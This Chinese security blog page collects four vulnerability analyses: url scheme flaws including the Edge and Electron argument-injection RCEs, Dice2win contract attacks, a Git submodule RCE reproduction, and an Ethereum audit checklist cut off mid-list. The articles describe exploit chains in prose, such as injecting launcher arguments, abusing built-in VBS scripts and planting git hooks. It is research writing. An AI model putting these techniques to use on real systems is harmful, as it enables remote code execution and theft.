RSS Feed
更好更安全的互联网
  • 从 CVE-2018-8495 看 PC 端 url scheme 的安全问题

    2018-10-19
    作者:0x7F@知道创宇404实验室
    时间:2018年10月18日

    0x00 前言

    本文受 CVE-2018-8495 漏洞的启发,以学习的目的,针对 PC 端 url scheme 的安全问题进行了分析研究。

    说到 url scheme 的安全问题,这并不是一个新问题,早在 2008 年就有相关的研究和利用;如今 2018 年又陆续出现了安全问题,包括 1 月的 Electron 命令注入(CVE-2018-1000006) 以及 10 月的 Edge RCE(CVE-2018-8495),可见 url scheme 的安全问题值得去一探究竟。

    url scheme 也称为 url protocolurl handler,本文使用 url scheme 这个名称。

    0x01 url scheme是什么

    常见的url scheme应用场景

    在平时使用电脑的过程中,常常会发现点击某一个链接就会尝试启动本地的应用程序,比如点击类似 mailto://test@test.com,就会启动邮件客户端,点击 thunder://xxxxx,就会启动迅雷客户端;这就是 url scheme 的应用。除此之外,我们使用浏览器也会发现地址栏中一些不同的前缀,常用的有 http://https://ftp://file://,这同样是 url scheme 的应用场景。

    各大操作系统开发商和浏览器开发商为了提高用户体验,丰富浏览器的功能,允许开发人员将 URI 与本地的应用程序进行关联,从而在用户使用浏览器时,可以通过点击某一链接即可启动应用程序;将这个功能简称为 url scheme。比如在 windows7 下使用 IE8 启动默认邮件客户端 outlook

    正因为 url scheme 这个优秀的功能设计,各大操作系统开发商都对此进行了支持,无论是 PC 端 Windows, MAC, Linux,还是移动端 iOS, Android 都有良好的支持。本文针对 PC 端下的 url scheme 的安全问题进行分析,移动端下同样也有类似的问题,但利用方式不同,这里就不展开了。

    url scheme工作流程

    在了解 url scheme 的功能后,可以大致理解到 url scheme 的工作流程;应用程序在操作系统中注册 url scheme 项,当浏览器或其他支持 url 的应用访问 特定的 url scheme 时,从系统中匹配相对应的 url scheme 项,从而启动该应用程序;可见这是一个三方相互支持的功能。

    正因如此,对于 url scheme 这个功能,在操作系统、浏览器(或其他支持 url 的应用)、应用程序这三个环节中,无论哪个环节出现了安全问题,或者是相互支持出现了问题,都将影响 url scheme 功能,最终给用户带来安全问题。

    0x02 创建 url scheme

    那么 url scheme 功能是如何在操作系统中注册的呢?不同的操作系统都有不同的实现方式,这里以 Windows7 为例进行演示说明。

    在 Windows7 上,url scheme 被记录在注册表 HKEY_CLASSES_ROOT 下,如 mailto 的相关字段:

    如果要创建一个新的 url scheme,直接在 HKEY_CLASSES_ROOT 添加即可,并在相应的字段中填入对应的值。创建的子项名即为 url scheme 功能名,在该子项下还包含两个项:DefaultIconshellDefaultIcon 包含该功能所使用的默认图标路径;在 shell 项下继续创建子项,例如: open,然后在 open 项下创建 command 子项,用于描述应用程序的路径以及参数。

    举个例子,创建 calc 用于启动 C:\Windows\System32\calc.exe

    补充一点:实际上,在 Windows 中有两种添加 url scheme 的方式,以上是直接添加注册表的方式(Pluggable Protocol),还有一种是异步可插拔协议(Asynchronous Pluggable Protocol),注册的协议会记录在 HKEY_CLASSES_ROOT\PROTOCOLS\ 下。这里就不展开了,详情可以参考:https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767916(v%3dvs.85)

    0x03 安全隐患

    对于 url scheme 功能,简单来讲就是「通过 url 可以启动某一个本地的应用程序」,这无疑大大提高了用户体验,但同时引入一些安全隐患,比如用户可以通过浏览器启动一个恶意程序,或者用户启动的应用程序具有特殊的功能可以被调用(如:删除文件、启动网络连接)。

    除此之外,对于包含 url 的的相关应用,用户是往往作为一个使用者、阅读者,而不是编辑者;也就是说 url 可以被攻击者恶意构造,从而达到远程启动本地应用程序的效果。

    那么在操作系统中,有哪些 url scheme 是可以被调用的呢?这里提供三个脚本用于导出三大 PC 系统下 url scheme

    Windows: [https://images.seebug.org/archive/duh4win.vbs]
    MAC: [https://images.seebug.org/archive/duh4mac.m]
    Linux: [https://images.seebug.org/archive/duh4linux.sh]

    (脚本来源于:https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf)

    运行脚本程序,可以看到系统下有不少可以调用的 url scheme,其中包括操作系统默认支持的,如 httpftpmailto,也有第三方的应用程序,如 qqthunder;如果这些应用程序出现安全问题,比如支持删除文件、启动另一个程序等敏感操作,最终在 url scheme 的帮助下,都将远程触发的安全问题。

    除了应用程序可能出现的安全问题,浏览器(或其他程序)在进行 url 解析并启动应用程序的过程也可以出现安全问题;并且这三方相互支持的过程中,仍然可能出现问题;无论是哪一个环节出现的安全问题,其危害最终都会在 url scheme 下被放大。

    本文就这以上可能出现安全问题的环节进行分析,并举例说明。

    0x04 操作系统的问题

    在 2007 年,Heise Security 公开了由 「url scheme 导致远程命令执行」的漏洞,其出现在 Windows XP 下已安装 IE7 版本的系统中,影响范围包括所有支持 url scheme 的应用程序。

    其构造的 PoC 如下:

    在 Windows XP 下运行结果如下:

    图片来源于:http://www.h-online.com/security/news/item/URI-problem-also-affects-Acrobat-Reader-and-Netscape-733744.html

    其造成漏洞的原因是由于微软通过安装适用于 Windows XP 的 IE7 改变了操作系统对 url 的处理,而应用程序直接将路径传递给操作系统用于启动,最终导致包含 字符的特殊链接导致启动任意程序。

    在漏洞公开后,微软并没有发布修复补丁,并且认为这不是 Windows XP 的原因,随后各大应用程序开发人员对该漏洞进行了修复。当然,上层应用可以对输入的参数进行检查,但这里也可以认为是操作系统方面的问题,导致了 url scheme 远程命令执行。

    0x05 浏览器的参数注入

    2018 年,在 url scheme 的安全问题中,有两个问题是由于 Windows 下的 IE 和 Edge 参数注入引发的,其中一个是 Electron 自定义协议命令注入(CVE-2018-1000006),另一个是 Edge 远程代码执行(CVE-2018-8495)。

    在 Windows 下 IE 和 Edge 对 url scheme 的处理方式有些不同,在浏览器接收到一个 url scheme 后,访问注册表查询对应的应用程序路径,随后进行 url 解码,然后调用 ShellExecute 函数簇,启动应用程序;正是因为 url 解码这一步造成了双引号闭合,从而引起了参数注入问题。示意图如下:

    Electron 自定义协议命令注入

    2018 年 1 月,Electron 发布了由自定义协议而导致命令注入的安全公告(CVE-2018-1000006),由于参数注入而引发的问题,构造的 PoC 如下:

    使用 IE 浏览器访问该链接,最终生成的启动参数如下:

    通过参数注入,调用 electron 中支持的 --gpu-launcher 参数,传入 cmd.exe 启动计算器,如下图:

    图片来源于:https://xz.aliyun.com/t/1990,详情可以参考这个链接。

    Edge 远程代码执行

    2018 年 10 月,Edge 公开了远程代码执行的安全公告(CVE-2018-8495),同样也是利用参数注入,最终达到了远程代码执行的效果;整个利用过程颇具巧妙性,本文对此进行详细的分析。

    首先说一点的是,在 Edge 中居然可以打开一些不合法的 url scheme(没有包含 URL Protocol 字段),比如 WSHFile 项:

    当然在 Windows7 和 Windows8 下不能打开。

    而恰恰 WSHFile 项指向了 wscript.exe,这个应用程序非常熟悉是Windows 内置的脚本解释器,那么可以利用 WSHFile 尝试去运行一个脚本;除此之外,上文提到 Edge 浏览器中存在参数注入的问题,那么是否有脚本可以接收参数并用于执行呢?

    漏洞作者最终找到:

    该脚本文件支持接收参数,并且会将命令直接拼接到字符串中,然后通过 powershell 进行执行。

    最终构造的 PoC 如下:

    以及执行后触发的效果:

    目前 Windows10 上已经发布了修复补丁,Edge 已经不能调用这种不合法的 url scheme 了。

    除此之外,404实验室的小伙伴在分析漏洞的过程中,也有一些额外的发现,如在注册表 HKEY_CLASSES_ROOT 还发现了和 WSHFile 类似的 url scheme,都指向 wscript.exe,同样也可以触发远程代码执行。包括:

    还有在 C:\Windows\System32\ 下也存在 SyncAppvPublishingServer.vbs,同样也可以利用,并且比漏洞作者所提供的更加可靠。

    除了 SyncAppvPublishingServer.vbs 这个文件, 在 C:\Windows\System32\Printing_Admin_Scripts\zh-CN 下的 pubprn.vbs 也同样可以触发代码执行。

    补充一点,在 Windows7 系统下 chrome 与 Edge 有相同的特性——会打开一些不合法的 url scheme,但由于 chrome 不存在参数注入的问题,所以可以暂且认为是安全的。

    0x06 应用程序的问题

    2017 年 12 月,macOS 上的 helpViewer 应用程序被公开由 XSS 造成文件执行的漏洞(CVE-2017-2361),影响 macOS Sierra 10.12.1 以下的版本;该漏洞同样也利用了 url scheme,攻击者可以构造恶意页面,从而发动远程攻击。这是典型的由于应用程序所导致的 url scheme 安全问题。

    漏洞详情可以参考:https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100

    其构造的 PoC 如下:

    在这个漏洞的利用过程中,可以发现操作系统和浏览器并没有出现问题,而是通过 url scheme 打开的应用程序出现了问题。通过对利用链的分析,可以了解到其中几个巧妙的点:

    1. 利用 url scheme 中的 help 协议打开应用程序 Safari.help
    2. 使用双重 url 编码绕过 helpViewer 对路径的检查,打开一个可以执行 JavaScript 的页面
    3. 使用 helpViewer 的内置协议 x-help-script 打开应用程序(PoC不包含)

    0x07 总结

    url scheme 功能的便捷性得力于操作系统、浏览器(或其他支持 url 的应用)以及应用程序三方的相互支持;要保证 url scheme 功能安全可靠,就必须牢牢把关这三方的安全。

    除此之外,不同的操作系统对 url scheme 实现方式不同,不同的浏览器也有自己的特性,应用程序也各有各的处理方式,多种组合的结果,就有可能出现一些意料之外的安全问题。

    最后感谢 404 实验室小伙伴 @LoRexxar' 与 @dawu 在分析过程中给我的帮助。


    References:

    1. CVE-2018-8495分析: https://leucosite.com/Microsoft-Edge-RCE/
    2. Seebug.paper: https://paper.seebug.org/515/
    3. 先知: https://xz.aliyun.com/t/1990
    4. electronjs: https://electronjs.org/blog/protocol-handler-fix
    5. blackhat: https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf
    6. blackhat: https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf
    7. oreilly: https://www.oreilly.com/library/view/hacking-the-next/9780596806309/ch04.html
    8. Github: https://github.com/ChiChou/LookForSchemes
    9. MSRC.CVE-2018-8495: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8495
    10. Microsoft: https://docs.microsoft.com/en-us/windows/uwp/launch-resume/reserved-uri-scheme-names
    11. Microsoft: https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767914(v=vs.85)
    12. Microsoft: https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767916(v%3dvs.85)
    13. h-online: http://www.h-online.com/security/news/item/URI-problem-also-affects-Acrobat-Reader-and-Netscape-733744.html
    14. chromium: https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100

     

    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/719/

    作者:Elfinx | Categories:安全研究安全科普 | Tags:
  • 智能合约游戏之殇——Dice2win安全分析

    2018-10-19
    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年10月18日
    系列文章:
    《智能合约游戏之殇——类 Fomo3D 攻击分析》
    《智能合约游戏之殇——God.Game 事件分析》
    Dice2win是目前以太坊上很火爆的区块链博彩游戏,其最大的特点就是理论上的公平性保证,每天有超过1000以太币被人们投入到这个游戏中。

    Dice2win官网

    Dice2win合约代码

    dice2win的游戏非常简单,就是一个赌概率的问题。

    就相当于猜硬币的正面和反面,只要你猜对了,就可以赢得相应概率的收获。

    这就是一个最简单的依赖公平性的游戏合约,只要“庄家”可以保证绝对的公正,那么这个游戏就成立。

    2018年9月21日,我在《以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告》中提到了以太坊智能合约中存在一个弱随机数问题,里面提到dice2win的合约中实现了一个很好的随机数生成方案hash-commit-reveal

    2018年10月12日,Zhiniang Peng from Qihoo 360 Core Security发表了《Not a fair game, Dice2win 公平性分析》,里面提到了关于Dice2win的3个安全问题。

    在阅读文章的时候,我重新审视了Dice2win的合约代码,发现在上次的阅读中对Dice2win的执行流程有所误解,而且Dice2win也在后面的代码中迭代更新了Merkle proof功能,这里我们就重点聊聊这几个问题。

    Dice2win安全性分析

    选择中止攻击

    让我们来回顾一下dice2win的代码

    主要函数为placeBet和settleBet,其中placeBet函数主要为建立赌博,而settleBet为开奖。最重要的一点就是,这里完全遵守hash-commit-reveal方案实现,随机数生成过程在服务端,整个过程如下。

    1. 用户选择好自己的下注方式,确认好后点击下注按钮。
    2. 服务端生成随机数reveal,生成本次赌博的随机数hash信息,有效最大blockNumber,并将这些数据进行签名,并将commit和信息签名传给用户。
    3. 用户将获取到的随机数hash以及lastBlockNumber等信息和下注信息打包,通过Metamask执行placebet函数交易。
    4. 服务端在一段时间之后,将带有随机数和服务端执行settlebet开奖

    在原文中提到,庄家(服务端)接收到用户猜测的数字,可以选择是否中奖,选择部分对自己不利的中止,以使庄家获得更大的利润。

    这的确是这类型合约最容易出现的问题,庄家依赖这种方式放大庄家获胜的概率。

    上面的流程如下

    而上面提到的选择中止攻击就是上面图的右边可能会出现的问题

    整个流程最大的问题,就在于placebet和settlebet有强制的执行先后顺序,否则其中的一项block.number将取不到正确的数字,也正是应为如此,当用户下注,placebet函数执行时,用户的下注信息就可以被服务端获得了,此时服务端有随机数、打包placebet的block.number、下注信息,服务端可以提前计算用户是否中奖,也就可以选择是否中止这次交易。

    选择开奖攻击

    在原文中,提到了一个很有趣的攻击方式,在了解这种攻击方式之前,首先我们需要对区块链共识算法有所了解。

    比特币区块链采用Proof of Work(PoW)的机制,这是一个叫做工作量证明的机制,提案者需要经过大量的计算才能找到满足条件的hash,当寻找到满足条件的hash反过来也证明了提案者付出的工作量。但这种情况下,可能会有多个提案者,那么就有可能出现链的分叉。区块链对这种结果的做法是,会选取最长的一条链作为最终结果。

    当你计算出来的块被抛弃时,也就意味着你付出的成本白费了。所以矿工会选择更容易被保留的链继续计算下去。这也就意味着如果有人破坏,需要付出大量的经济成本。

    借用一张原文中的图

    在链上,计算出的b2、c5、b5、b6打包的交易都会回退,交易失败,该块不被认可。

    回到Dice2win合约上,Dice2win是一个不希望可逆的交易过程,对于赌博来说,单向不可逆是一个很重要的原则。所以Dice2win新添加了MerikleProof方法来解决这个问题。

    MerikleProofi方法核心在于,无论是否分叉,该分块是否会被废弃,Dice2win都认可这次交易。当服务端接收到一个下注交易(placebet)时,立刻对该区块开奖。

    MerikleProofi 的commit

    上面这种方法的原理和以太坊的区块结构有关,具体可以看《Not a fair game, Dice2win 公平性分析》一文中的分析,但这种方法一定程度的确解决了开奖速度的问题,甚至还减少了上面提到的选择中止攻击的难度。

    但却出现了新的问题,当placebet交易被打包到分叉的多个区块中,服务端可以通过选择获利更多的那个区块接受,这样可以最大化获得的利益。但这种攻击方式效果有效,主要有几个原因:

    1. Dice2win需要有一定算力的矿池才能主动影响链上的区块打包,但大部分算力仍然掌握在公开的矿池手中。所以这种攻击方式不适用于主动攻击。
    2. 被动的遇到分叉情况并不会太多,尤其是遇到了打包了placebet的区块,该区块的hash只是多了选择,仍然是不可控的,大概率多种情况结果都是一致的。

    从这种角度来看,这种攻击方式有效率有限,对大部分玩家影响较小。

    任意开奖攻击(Merkle proof验证绕过)

    在上面的分析中,我们详细分析了我们Merkle proof的好处以及问题所在。但如果Merkle proof机制从根本上被绕过,那么是不是就有更大的问题了。

    Dice2win在之前已经出现了这类攻击 https://etherscan.io/tx/0xd3b1069b63c1393b160c65481bd48c77f1d6f2b9f4bde0fe74627e42a4fc8f81

    攻击者成功构造攻击合约,通过合约调用placeBet来下赌注,并伪造Merkle proof并调用settleBetUncleMerkleProof开奖,以100%的几率控制赌博成功。

    分析攻击合约可以发现该合约中的多个安全问题:

    1、Dice2win是一个不断更新的合约,存在多个版本。但其中决定庄家身份的secretSigner值存在多个版本相同的问题,导致同一个签名可以在多个合约中使用。

    2、placebet中对于最后一个commitlaskblock的check存在问题

    用作签名的commitlastblock定义是uint256,但用作签名的只有uint40,也就是说,我们在执行placeBet的时候,可以修改高位的数字,导致某个签名信息始终有效。

    3、Merkle proof边界检查不严格。

    在最近的一次commit中,dice2win修复了一个漏洞是关于Merkle proofcheck的范围。

    https://github.com/dice2-win/contracts/commit/b0a0412f0301623dc3af2743dcace8e86cc6036b

    这里检查使Merkle proof更严格了

    4、settleBet 权限问题

    经过我的研究,实际上在Dice2win的游戏逻辑中,settleBet应该是只有服务端才能调用的(只有庄家才能开奖),但在之前的版本中,并没有这样的设置。

    在新版本中,settleBet加入了这个限制。

    这里绕过Merkle proof的方法就不再赘述了,有兴趣可以看看原文。

    refundBet下溢

    感谢@Zhiniang Peng from Qihoo 360 Core Security 提出了我这里的问题,最开始理解有所偏差导致错误的结论。

    原文中最后提到了一个refundBet函数的下溢,让我们来看看这个函数的代码

    跟入getDiceWinAmount函数,发现jackpotFee并不可控

    其中JACKPOT_FEE = 0.001 ether,且要保证amount大于0.1 ether,amount来自bet变量

    而bet变量只有在placebet中可以被设置。

    但可惜的是,placebet中会进行一次相同的调用

    所以我们无法构造一个完整的攻击过程。

    但我们回到refundBet函数中,我们无法控制jackpotFee,那么我们是不是可以控制jackpotSize呢

    首先我们需要理解一下,jackpotSize是做什么,在Dice2win的规则中,除了本身的规则以外,还有一份额外的大奖,是从上次大奖揭晓之后的交易抽成累积下来的。

    如果有人中了大奖,那么这个值就会清零。

    但这里就涉及竞争了,完整的利用流程如下:

    1. 攻击者a下注placebet,并获得commit
    2. 某个好运的用户在a下注开奖前拿走了大奖
    3. 攻击者调用refundBet退款
    4. jackpotSize成功溢出

    总结

    在回溯分析完整个Dice2win合约之后,我们不难发现,由于智能合约和传统的服务端逻辑不同,导致许多我们惯用的安全思路遇到了更多问题,区块链的不可信原则直接导致了随机数生成方式的难度加深。目前最为成熟的hash-commit-reveal方法是属于通过服务端与智能合约交互实现的,在随机数保密方面完成度很高,可惜的是无法避免服务端获取过多信息的问题。

    hash-commit-reveal方法的基础上,只要服务端不能即时响应开奖,选择中止攻击就始终存在。有趣的是Dice2win合约中试图实现的Merkle proof功能初衷是为了更快的开奖,但反而却在一定程度上减少了选择中止攻击的可能性。

    任意开奖攻击,是一个针对Merkle proof的攻击方式,应验了所谓的功能越多漏洞越多的问题。攻击方式精巧,是一种很有趣的利用方式。

    就目前为止,无论是底层的机制也好,又或是随机数的生成方式也好,智能合约的安全还有很长的路要走。


     

    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/717/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • Git Submodule 漏洞(CVE-2018-17456)分析

    2018-10-18
    作者:Hcamael@知道创宇404实验室
    国庆节的时候,Git爆了一个RCE的漏洞,放假回来进行应急,因为公开的相关资料比较少,挺头大的,搞了两天,RCE成功了

    收集资料

    一开始研究这个漏洞的时候,网上公开的资料非常少,最详细的也就github blog[1]的了。

    得知发现该漏洞的作者是@joernchen, 去翻了下他的twitter,找到了一篇还算有用的推文:

    另外在twitter搜索CVE-2018-17456,得到一篇@_staaldraad验证成功的推文:

    可惜打了马赛克,另外还通过Google也零零散散找到一些有用的信息(url都找不到了),比如该漏洞无法在Windows上复现成功,因为:在Windows上不是有效的文件名。

    研究分析

    网上资料太少,只凭这点资料无法完成该漏洞的复现,所以只能自己通过源码、调试进行测试研究了。

    使用woboq_codebrowser生成了git v2.19.1最新版的源码[2],方便审计。

    通过源码发现在git命令前使用GIT_TRACE=1能开启git自带的命令跟踪,跟踪git的run_command

    首先创建一个源,并创建其子模块(使用git v2.19.0进行测试):

    从搜集到的资料看,可以知道,该漏洞的触发点是url参数,如果使用-开始则会被解析成参数,所以尝试修改url

    从输出结果中,我们可以看到一句命令:

    我们设置的-testgit clone识别为-t参数,漏洞点找到了,下面需要考虑的是,怎么利用git clone参数执行命令?

    继续研究,发现git有处理特殊字符,比如空格:

    如果有特殊字符,则会加上单引号

    翻了下源码,找到了过滤的函数[3],是一个白名单过滤

    只有大小写字母,数字和下面这几种特殊字符才不会加上单引号:

    感觉这空格是绕不过了(反正我绕不动)

    接下来继续研究如果利用参数进行命令执行

    在翻twitter的过程中还翻到了之前一个Git RCE(CVE-2018-11235)[4]的文章,发现是利用hook来达到RCE的效果,在结合之前@_staaldraad验证成功的推文

    可以很容易的想到一个方法,不过在讲这个方法前,先讲一些git submodule的基础知识点吧

    git submodule机制简单讲解

    首先看看.gitmodules的几个参数:

    test1表示的是submodule name,使用的参数是--name,子项目.git目录的数据会被储存到.git/modules/test1/目录下

    test2表示的是子项目储存的路径,表示子项目的内容将会被储存到./test2/目录下

    test3这个就很好理解,就是子项目的远程地址,如果是本地路径,就是拉去本地源

    把本地项目push到远程,是无法把.git目录push上去的,只能push .gitmodules文件和test2目录

    那么远程怎么识别该目录为submodule呢?在本地添加submodule的时候,会在test2目录下添加一个.git文件(在前面被我删除了,可以重新添加一个查看其内容)

    指向的是该项目的.git路径,该文件不会被push到远程,但是在push的时候,该文件会让git识别出该目录是submodule目录,该目录下的其他文件将不会被提交到远程,并且在远程为该文件创建一个链接,指向submodule地址:

    (我个人体会,可以看成是Linux下的软连接)

    这个软连接是非常重要的,如果远程test2目录没有该软连接,.gitmodules文件中指向该路径的子项目在给clone到本地时(加了--recurse-submodules参数),该子项目将不会生效。

    理解了submodule大致的工作机制后,就来说说RCE的思路

    我们可以把url设置为如下:

    这是一个模板选项,详细作用自己搜下吧

    在设置了该选项的情况下,把子项目clone到本地时,子项目的.git目录被放到.git/modules/test1目录下,然后模板目录中,规定的几类文件也会被copy到.git/modules/test1目录下。这几类文件其中就是hook

    所以,只有我们设置一个./template/hook/post-checkout,给post-checkout添加可执行权限,把需要执行的命令写入其中,在子项目执行git chekcout命令时,将会执行该脚本。

    设置好了PoC,再试一次,发现还是报错失败,主要问题如下:

    来解析下该命令:

    我们把{url}设置为参数以后,/home/ubuntu/evilrepo/{path}就变成源地址了,该地址被判断为本地源目录,所以会查找该目录下的.git文件,但是之前说了,因为该目录被远程设置为软连接,所以clone到本地不会有其他文件,所以该目录是不可能存在.git目录的,因此该命令执行失败

    再来看看是什么命令调用的该命令:

    解析下该命令:

    path, name, url都是我们可控的,但是都存在过滤,过滤规则同上面说的url白名单过滤规则。

    该命令函数 -> [5]

    我考虑过很多,path或name设置成--url=xxxxx

    都失败了,因为--path--name参数之后没有其他数据了,所以--url=xxxx都会被解析成name或path,这里就缺一个空格,但是如果存在空格,该数据则会被加上单引号,目前想不出bypass的方法

    所以该命令的利用上毫无进展。。。。

    所以关注点又回到了上一个git clone命令上:

    /home/ubuntu/evilrepo/.git/modules/{name}路径是直接使用上面代码进行拼接,也找不到绕过的方法

    最后就是/home/ubuntu/evilrepo/{path},如果git能把这个解析成远程地址就好了,所以想了个构造思路:/home/ubuntu/evilrepo/git@github.com:Hcamael/hello-world.git

    但是失败了,还是被git解析成本地路径,看了下path的代码:

    因为git@github.com:Hcamael/hello-world.git被判断为非绝对路径,所以在前面加上了当前目录的路径,到这就陷入了死胡同了找不到任何解决办法

    RCE

    在不断的研究后发现,path=git@github.com:Hcamael/hello-world.git在低版本的git中竟然执行成功了。

    首先看图:

    使用的是ubuntu 16.04,默认的git是2.7.4,然后查了下该版本git的源码,发现该版本中并没有下面这几行代码

    所以构造的命令变成了:

    之后把我执行成功的结果和@_staaldraad推文中的截图进行对比,发现几乎是一样的,所以猜测这个人复现的git环境也是使用低版本的git

    总结

    之后翻了下git的提交历史,发现2016年就已经添加了对path是否是绝对路径的判断。根据我的研究结果,CVE-2018-17456漏洞可以造成git选项参数注入,但是只有低版本的git才能根据该CVE造成RCE的效果。

    引用

    1. https://blog.github.com/2018-10-05-git-submodule-vulnerability/
    2. https://0x48.pw/git/
    3. https://0x48.pw/git/git/quote.c.html#sq_quote_buf_pretty
    4. https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
    5. https://0x48.pw/git/git/builtin/submodule--helper.c.html#module_clone

     

    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/716/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告

    2018-09-25
    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年9月21日
    系列文章:

    一、简介

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“地址初始化问题”、“判断函数问题”、“余额判断问题”、“转账函数问题”、“代码外部调用设计问题”、“错误处理”、“弱随机数问题”等问题统一归类为“以太坊智能合约编码设计问题”。

    “昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码设计”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

    二、漏洞详情

    以太坊智能合约是以太坊概念中非常重要的一个概念,以太坊实现了基于solidity语言的以太坊虚拟机(Ethereum Virtual Machine),它允许用户在链上部署智能合约代码,通过智能合约可以完成人们想要的合约。

    这次我们提到的编码设计问题就和EVM底层的设计有很大的关系,由于EVM的特性,智能合约有很多与其他语言不同的特性,当开发者没有注意到这些问题时,就容易出现潜在的问题。

    1、地址初始化问题

    在EVM中,所有与地址有关的初始化时,都会赋予初值0。

    如果一个address变量与0相等时,说明该变量可能未初始化或出现了未知的错误。

    如果开发者在代码中初始化了某个address变量,但未赋予初值,或用户在发起某种操作时,误操作未赋予address变量,但在下面的代码中需要对这个变量做处理,就可能导致不必要的安全风险。

    2、判断函数问题

    在智能合约中,有个很重要的校验概念。下面这种问题的出现主要是合约代币的内部交易。

    但如果在涉及到关键判断(如余额判断)等影响到交易结果时,当交易发生错误,我们需要对已经执行的交易结果进行回滚,而EVM不会检查交易函数的返回结果。如果我们使用return false,EVM是无法获取到这个错误的,则会导致在之前的文章中提到的假充值问题

    在智能合约中,我们需要抛出这个错误,这样EVM才能获取到错误触发底层的revert指令回滚交易。

    而在solidity扮演这一角色的,正是require函数。而有趣的是,在solidity中,还有一个函数叫做assert,和require不同的是,它底层对应的是空指令,EVM执行到这里时就会报错退出,不会触发回滚。

    转化到直观的交易来看,如果我们使用assert函数校验时,assert会消耗掉所有剩余的gas。而require会触发回滚操作。

    assert在校验方面展现了强一致性,除了对固定变量的检查以外,require更适合这种情况下的使用。

    3、余额判断问题

    在智能合约中,经常会出现对用户余额的判断,尤其是账户初建时,许多合约都会对以合约创建时余额为0来判断合约的初建状态,这是一种错误的行为。

    在智能合约中,永远无法阻止别人向你的强制转账,即使fallback函数throw也不可以。攻击者可以创建带有余额的新合约,然后调用selfdestruct(victimAddress)销毁,这样余额就会强制转移给目标,在这个过程中,不会调用目标合约的代码,所以无法从代码层面阻止。

    值得注意的是,在打包的过程中,攻击者可以通过条件竞争来在合约创建前转账,这样在合约创建时余额就为0了。

    4、转账函数问题

    在智能合约中,涉及到转账的操作最常见不过了。而在solidity中,提供了两个函数用于转账tranfer/send。

    当tranfer/send函数的目标是合约时,会调用合约内的fallback函数。但当fallback函数执行错误时,transfer函数会抛出错误并回滚,而send则会返回false。如果在使用send函数交易时,没有及时做判断,则可能出现转账失败却余额减少的情况。

    上面给出的代码中使用 send() 函数进行转账,因为这里没有验证 send() 返回值,如果msg.sender 为合约账户 fallback() 调用失败,则 send() 返回false,最终导致账户余额减少了,钱却没有拿到。

    5、代码外部调用设计问题

    在智能合约的设计思路中,有一个很重要的概念为外部调用。或是调用外部合约,又或是调用其它账户。这在智能合约的设计中是个很常见的思路,最常见的便是转账操作,就是典型的外部调用。

    但外部调用本身就是一个容易发生错误的操作,谁也不能肯定在和外部合约/用户交互时能确保顺利,举一个合约代币比较常见的例子

    上述代码当转账发生错误时可能会导致进一步其他的错误,如果碰到循环调用bid函数时,更可能导致循环到中途发生错误,在之前提到的ddos优化问题中,这也是一个很典型的例子。

    而这就是一个典型的push操作,指合约主动和外部进行交互,这种情况容易出现问题是难以定位难以弥补,导致潜在的问题。

    6、错误处理

    智能合约中,有一些涉及到address底层操作的方法

    他们都有一个典型的特点,就是遇到错误并不会抛出错误,而是会返回错误并继续执行。

    且作为EVM设计的一部分,下面这些函数如果调用的合约不存在,将会返回True。如果合约开发者没有注意到这个问题,那么就有可能出现问题。

    http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/#4-Unchecked-Return-Values-For-Low-Level-Calls

    7、弱随机数问题

    智能合约是借助EVM运行,跑在区块链上的合约代码。其最大的特点就是公开和不可篡改性。而如何在合约上生成随机数就成了一个大问题。

    Fomo3D合约在空投奖励的随机数生成中就引入了block信息作为随机数种子生成的参数,导致随机数种子只受到合约地址影响,无法做到完全随机。

    上述这段代码直接导致了Fomo3d薅羊毛事件的诞生。真实世界损失巨大,超过数千eth。

    8万笔交易「封死」以太坊网络,只为抢夺Fomo3D大奖? Last Winner

    三、漏洞影响范围

    使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。

    基于Haotian平台智能合约扫描功能规则,我们对全网的公开的共42538个合约代码进行了扫描,其中35107个合约存在地址初始化问题,4262个合约存在判断函数问题,173个合约存在余额判断问题,930个合约存在转账函数问题, 349个合约存在弱随机数问题,2300个合约调用了block.timestamp,过半合约涉及到这类安全风险。

    1、地址初始化问题

    截止2018年9月21日,我们发现了35107个存在地址初始化问题的合约代码,存在潜在的安全隐患。

    2、判断函数问题

    截止2018年9月21日,我们发现了4262个存在判断函数问题的合约代码,存在潜在的安全隐患。

    3、余额判断问题

